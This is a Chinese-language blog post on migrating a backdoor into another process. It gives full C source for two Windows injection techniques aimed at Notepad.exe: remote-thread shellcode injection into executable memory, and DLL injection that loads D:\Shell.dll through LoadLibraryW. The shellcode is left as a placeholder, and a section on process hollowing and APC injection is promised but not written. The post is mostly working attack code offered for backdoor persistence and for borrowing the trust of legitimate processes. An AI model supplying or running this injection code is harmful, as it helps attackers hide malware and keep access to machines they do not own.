进程迁移

1.基础概念

进程迁移即将后门迁移到其他进程,在 DLL 劫持进程运行不稳定、需要提高信任度、权限维持等场景下会用到

2.远程线程注入

ShellCode 注入

流程

通过进程名获取进程 PID
通过进程 PID 获取进程句柄
向进程内存远程写入 ShellCode
创建远程线程执行 ShellCode

代码编写

#include <windows.h>
#include <TlHelp32.h>

// 获取进程 PID
DWORD GetProcessPID(LPCTSTR processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 创建所有进程快照

    PROCESSENTRY32 p32 = { 0 };
    p32.dwSize = sizeof(PROCESSENTRY32);
    Process32First(hSnapshot, &p32);

    do {
        if (!lstrcmp(p32.szExeFile, processName)) { // 进程名正确
            CloseHandle(hSnapshot); // 关闭句柄
            return p32.th32ProcessID; // 返回进程 PID
        }
    } while (Process32Next(hSnapshot, &p32)); // 遍历进程
}

int main() {
    unsigned char buf[] = "ShellCode";

    int PID = GetProcessPID(L"Notepad.exe"); // 获取进程 PID

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); // 获取进程所有权限的句柄
    void* p = VirtualAllocEx(hProcess, NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 指针指向远程申请的内存
    WriteProcessMemory(hProcess, p, buf, sizeof buf, NULL); // 将 ShellCode 写入内存

    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)p, NULL, 0, NULL); // 创建远程线程执行 ShellCode
}

DLL 注入

流程

通过进程名获取进程 PID
通过进程 PID 获取进程句柄
向进程内存远程写入 DLL 路径
获取 LoadLibrary 地址
创建远程线程调用 LoadLibrary 加载 DLL

代码编写

#include <windows.h>
#include <TlHelp32.h>

// 获取进程 PID
DWORD GetProcessPID(LPCTSTR processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 创建所有进程快照

    PROCESSENTRY32 p32 = { 0 };
    p32.dwSize = sizeof(PROCESSENTRY32);
    Process32First(hSnapshot, &p32);

    do {
        if (!lstrcmp(p32.szExeFile, processName)) { // 进程名正确
            CloseHandle(hSnapshot); // 关闭句柄
            return p32.th32ProcessID; // 返回进程 PID
        }
    } while (Process32Next(hSnapshot, &p32)); // 遍历进程
}

int main() {
    int PID = GetProcessPID(L"Notepad.exe"); // 获取进程 PID

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); // 获取进程所有权限的句柄

    // 远程写入 DLL 路径
    wchar_t dllPath[] = L"D:\\Shell.dll";
    DWORD size = (wcslen(dllPath) + 1) * sizeof(WCHAR); // unicode \0 结尾
    LPVOID p = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, p, dllPath, size, NULL);

    // 从进程运行自动加载的 Kernel32.dll 中获取 LoadLibrary 地址
    LPTHREAD_START_ROUTINE LoadLibraryAddr = (LPTHREAD_START_ROUTINE)(FARPROC)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, LoadLibraryAddr, p, 0, NULL); // 创建远程线程调用 LoadLibrary 加载 DLL
    WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕

    VirtualFreeEx(hProcess, p, size, MEM_DECOMMIT); // 释放 DLL 路径内存
    CloseHandle(hProcess); // 关闭句柄
}

3.进程镂空 APC注入

后面有时间更

posted @ 2023-03-20 23:06  Hacker&Cat  阅读(306)  评论(0编辑  收藏  举报